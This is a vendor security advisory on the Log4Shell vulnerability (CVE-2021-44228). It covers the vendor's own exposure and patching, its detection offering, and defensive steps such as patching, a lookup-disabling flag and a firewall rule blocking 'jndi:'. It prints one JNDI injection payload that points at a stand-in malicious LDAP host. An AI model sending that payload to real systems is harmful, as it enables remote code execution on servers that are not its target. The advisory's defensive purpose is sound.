XM Cyber Advisory – Log4Shell, CVE-2021-44228

Overview

Last Thursday, December 9, the Log4Shell vulnerability, CVE-2021-44228 (CVSS score 10), was discovered. This remote code execution (RCE) vulnerability was being exploited in the wild. Log4j is a logging library, and the vulnerability affects all products and applications that use log4j. That’s a lot of products.

XM Cyber Log4Shell technique

The XM Cyber Research team is working to build a technique to enable customers to identify the Log4Shell vulnerability.

Using XM Cyber, you have the following ways to identify the Log4Shell vulnerability in your environment:

• A Log4Shell attack technique was released and part of Attack Simulation. This is a great capability to identify attack paths and lateral movement using Log4Shell
• Your Customer Success Manager and the sales engineers pro-actively provide raw data of all your vulnerable machines. As needed, you can ask us for an updated list that includes Log4Shell.

Impact on XM Cyber

The Log4Shell vulnerability does not expose XM Cyber’s core functionality. We do use Apache Flink as a backend database, and Flink uses a vulnerable version of log4j. XM Cyber SaaS environments have had the Apache Flink patched to remediate Log4shell.

Impacted XM Cyber components

We analyzed these components to identify the impact of CVE-2021-44228:

Technical overview of the vulnerability

How attackers exploit Log4Shell

The Java Naming and Directory Interface (JNDI) enables the retrieval of Java objects stored in directory services, such as LDAP and RMI.

In Log4Shell, the attacker abuses a vulnerability within log4j, which enables him to control the URL of a JNDI resource. Your server requests this URL, and this leads to the RCE.

The attacker sends the following malicious payload: ${jndi:ldap://malicious-server[.]com/a}

This payload triggers a request, using JNDI, by your server to the malicious server. This enables the attacker to inject Java class payloads in order to execute code on your server.

Who is impacted?

Every product that uses log4j between version 2.0 to version 2.14.1 (both included) are considered vulnerable.

Lots of security products have already released an update, for example VMware.

What should you do?

You should do the following:

• Patch: Identify all of your products that are vulnerable to Log4Shell. This can be done manually or by using open source scanners. If a relevant patch is released for one of your vulnerable products, patch the system ASAP.
• Workaround: On log4j versions 2.10.0 and above, in the java CMD line, set the following:
  log4j2.formatMsgNoLookups=true
• Block: If possible, add a rule to your web application firewall to block:
  “jndi:”

References

1. Official Apache Advisory
2. https://www.lunasec.io/docs/blog/log4j-zero-day/

Change log

• 2021-12-11: Initial Security Advisory
• 2021-12-13: Updated advisory with additional products confirmed not to be affected and ETA for some fixes of affected products.
• 2021-12-14: Updated advisory with the status of mitigation – Flink DB has been patched.
• 2021-12-15: Updated advisory with the status of Log4Shell identification.
• 2021-12-16: Updated advisory with status of Log4shell mitigation and Attack Simulation technique.